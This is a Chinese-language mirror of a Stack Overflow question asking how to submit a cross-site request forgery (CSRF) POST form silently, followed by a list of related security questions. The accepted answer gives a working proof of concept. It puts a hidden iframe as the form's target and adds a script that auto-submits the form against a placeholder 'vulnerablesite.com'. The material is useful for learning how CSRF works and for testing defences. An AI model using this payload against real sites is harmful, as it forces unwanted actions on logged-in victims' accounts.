security - 静默提交 POST 表单 (CSRF) 的示例

标签 security csrf

我很想知道如何在没有任何通知的情况下静默提交 CSRF 的 POST 表单(重定向到 POSTed URL 的文档位置不是静默的)。

例子:

<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>

在外部站点上,我需要做什么才能自动且静默地触发此表单?

最佳答案

一种解决方案是在类似 iframe 的框架中打开表单的操作。 :

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='criticaltoggle' value='true'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

关于security - 静默提交 POST 表单 (CSRF) 的示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17940811/

相关文章:

java - 通过 Web 应用程序访问本地文件

security - Laravel 4 : how to protect assets folder?

javascript - 使用 JavaScript 加密本地存储的数据

python - 持久性 "CSRF token missing or incorrect."。 Jinja 和 django 注册设置

web - 我们是否应该检查 CSRF token 的只读操作

security - 为什么随机 CSRF key 可以防止 CSRF 攻击?

security - 在整个 session 中使用相同的 CSRF token 是否可以接受?

javascript - 同时沙盒和添加 JS/HTML 到 iFrame

PHP 安全漏洞,用于对象实例化的未经验证的 Post 数据

node.js REST api 身份验证和 oauth2